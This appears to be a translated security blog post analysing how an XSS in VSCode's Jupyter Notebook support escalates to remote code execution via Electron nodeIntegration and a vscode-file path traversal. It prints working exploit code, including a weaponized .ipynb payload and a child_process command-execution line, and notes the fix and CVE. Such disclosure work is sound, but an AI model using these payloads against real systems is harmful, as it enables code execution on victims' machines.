Visual Studio Code Jupyter Notebook远程代码执行漏洞分析

本文详细分析了Visual Studio Code Jupyter Notebook扩展中的XSS漏洞如何通过路径遍历和Electron特性升级为RCE漏洞,并提供了完整的漏洞利用链构建过程。

Visual Studio Code Jupyter Notebook RCE

2022年10月27日 - Luca Carettoni

我利用上周末的几个小时研究了Justin Steven于2021年8月发现的Visual Studio Code .ipynb Jupyter Notebook漏洞利用方法。

Justin发现了一个影响VSCode内置Jupyter Notebook(.ipynb)文件支持的跨站脚本(XSS)漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  "cells": [
    {
      "cell_type": "code",
      "execution_count": null,
      "source": [],
      "outputs": [
        {
          "output_type": "display_data",
          "data": {"text/markdown": "<img src=x onerror='console.log(1)'>"}
        }
      ]
    }
  ]
}

他的分析详细说明了该问题并展示了一个从磁盘读取任意文件然后将其内容泄露到远程服务器的概念验证,但这并非完整的RCE利用。

虽然我无法找到利用此XSS原语实现任意代码执行的方法,但更擅长Electron漏洞利用的人或许能够做到。[…]

鉴于我们对ElectronJs(以及许多其他Web技术)的关注,我决定研究潜在的利用途径。

漏洞利用分析

首先,我查看了应用程序的整体设计,以识别由VSCode使用的每个BrowserWindow/BrowserView/Webview的配置。通过ElectroNG可以观察到,该应用程序使用了一个启用了nodeIntegration的BrowserWindow。

这个BrowserWindow使用vscode-file协议加载内容,该协议类似于file协议。不幸的是,我们的注入发生在嵌套的沙盒iframe中,如下图所示:

[沙盒iframe结构示意图]

具体来说,我们的沙盒iframe使用以下属性创建: allow-scripts allow-same-origin allow-forms allow-pointer-lock allow-downloads

默认情况下,sandbox会使浏览器将iframe视为来自另一个源,即使其src指向同一站点。由于allow-same-origin属性,这个限制被解除。只要webview中加载的内容也托管在本地文件系统(在应用程序文件夹内),我们就可以访问顶层窗口。这样,我们可以简单地使用类似top.require('child_process').exec('open /System/Applications/Calculator.app')的代码执行命令。

漏洞利用构建

那么,我们如何将任意HTML/JS内容放入应用程序安装文件夹中?或者,我们能否引用该文件夹外的资源?

答案来自我在Black Hat USA 2022简报会上看到的一个演示。在利用CVE-2021-43908时,TheGrandPew和s1r1us使用路径遍历来加载VSCode安装路径之外的任意文件: vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html

类似地,我们可以尝试利用postMessage的回复来泄露当前用户目录的路径。实际上,我们的有效载荷可以放在恶意仓库中,与触发XSS的Jupyter Notebook文件一起。

经过几个小时的尝试,我发现可以通过在onload事件期间强制执行来获取触发XSS的img标签的引用。

最终漏洞利用

将所有要素准备好后,我最终组装了完整的漏洞利用代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
var apploc = '/Applications/Visual Studio Code.app/Contents/Resources/app/'.replace(/ /g, '%20');
var repoloc;
window.top.frames[0].onmessage = event => {
    if(event.data.args.contents && event.data.args.contents.includes('<base href')){  
        var leakloc = event.data.args.contents.match('<base href=\"(.*)\"')[1];
        var repoloc = leakloc.replace('https://file%2B.vscode-resource.vscode-webview.net','vscode-file://vscode-app'+apploc+'..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..');
        setTimeout(async()=>console.log(repoloc+'poc.html'), 3000)
        location.href=repoloc+'poc.html';
    }
};
window.top.postMessage({target: window.location.href.split('/')[2],channel: 'do-reload'}, '*');

为了在.ipynb文件中传递这个有效载荷,我们还需要克服最后一个限制:当前实现会导致JSON格式错误。注入发生在JSON文件(双引号)中,我们的Javascript有效载荷包含引号字符串以及用作正则表达式分隔符的双引号。

经过一些调整,最简单的解决方案是使用反引号`字符代替所有JS字符串的引号。最终的pocimg.ipynb文件如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  "cells": [
    {
      "cell_type": "code",
      "execution_count": null,
      "source": [],
      "outputs": [
        {
          "output_type": "display_data",
          "data": {"text/markdown": "<img src='a445fff1d9fd4f3fb97b75202282c992.png' onload='var apploc = `/Applications/Visual Studio Code.app/Contents/Resources/app/`.replace(/ /g, `%20`);var repoloc;window.top.frames[0].onmessage = event => {if(event.data.args.contents && event.data.args.contents.includes(`<base href`)){var leakloc = event.data.args.contents.match(`<base href=\"(.*)\"`)[1];var repoloc = leakloc.replace(`https://file%2B.vscode-resource.vscode-webview.net`,`vscode-file://vscode-app`+apploc+`..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..`);setTimeout(async()=>console.log(repoloc+`poc.html`), 3000);location.href=repoloc+`poc.html`;}};window.top.postMessage({target: window.location.href.split(`/`)[2],channel: `do-reload`}, `*`);'>"}
        }
      ]
    }
  ]
}

通过打开包含此文件的恶意仓库,我们最终可以触发代码执行。

补充说明

内置的Jupyter Notebook扩展选择退出了Visual Studio Code 1.57中引入的工作区信任保护功能,因此不需要进一步的用户交互。需要说明的是,此问题已在VScode 1.59.1中修复,Microsoft为其分配了CVE-2021-26437。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计